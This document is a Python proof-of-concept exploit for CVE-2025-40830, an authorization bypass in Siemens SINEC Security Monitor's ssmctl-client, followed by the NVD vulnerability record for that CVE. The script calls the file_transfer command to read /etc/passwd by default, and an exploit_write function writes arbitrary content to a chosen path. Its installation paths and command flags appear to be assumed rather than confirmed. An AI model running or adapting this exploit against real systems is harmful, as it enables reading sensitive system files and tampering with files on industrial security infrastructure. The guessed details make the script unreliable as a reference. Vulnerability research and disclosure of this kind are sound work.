CVE-2025-40830

#!/usr/bin/env python3 """ CVE-2025-40830 PoC - SINEC Security Monitor ssmctl-client File Transfer Authorization Bypass Note: This PoC is for educational and security research purposes only. """ import subprocess import sys import os def check_vulnerability(target_file="/etc/passwd"): """ Check if SINEC Security Monitor is vulnerable to CVE-2025-40830 by attempting to read a sensitive file through ssmctl-client file_transfer """ print(f"[*] CVE-2025-40830 Vulnerability Check") print(f"[*] Target: SINEC Security Monitor < V4.10.0") print(f"[*] Testing file read: {target_file}") # Check if ssmctl-client exists ssmctl_path = "/usr/bin/ssmctl" # Common installation path if not os.path.exists(ssmctl_path): ssmctl_path = "/opt/siemens/ssm/bin/ssmctl" if not os.path.exists(ssmctl_path): print("[-] ssmctl-client not found on this system") return False print(f"[+] Found ssmctl-client at: {ssmctl_path}") # Attempt to read file via file_transfer command # This should fail for low-privileged users if properly patched try: cmd = [ ssmctl_path, "file_transfer", "--action", "read", "--path", target_file ] print(f"[*] Executing: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) if result.returncode == 0 and result.stdout: print(f"[+] VULNERABLE: Successfully read {target_file}") print(f"[+] File contents:\n{result.stdout[:500]}") return True else: print(f"[-] Not vulnerable or access denied") print(f"[-] stderr: {result.stderr}") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_write(target_path="/tmp/pwned.txt", content=" Compromised"): """ Demonstrate arbitrary file write (requires vulnerability to exist) """ print(f"[*] Attempting to write to: {target_path}") ssmctl_path = "/usr/bin/ssmctl" try: cmd = [ ssmctl_path, "file_transfer", "--action", "write", "--path", target_path, "--content", content ] print(f"[*] Executing: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) if result.returncode == 0: print(f"[+] VULNERABLE: Successfully wrote to {target_path}") return True else: print(f"[-] Write attempt failed") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2025-40830 - SINEC Security Monitor Authorization Bypass") print("="*60) if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: check_vulnerability() print("\n[*] PoC completed. Upgrade to V4.10.0+ to remediate.")

{"cve": {"id": "CVE-2025-40830", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:46.677", "lastModified": "2025-12-10T21:38:56.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SINEC Security Monitor (All versions < V4.10.0). The affected application does not have proper authorization checks for the file_transfer feature in ssmctl-client command. This could allow an authenticated, lowly privileged local attacker to read or write to any file on server or sensor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:sinec_security_monitor:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.10.0", "matchCriteriaId": "3A1CC5F1-064E-4D68-9A3D-216027F1C4E6"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-882673.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}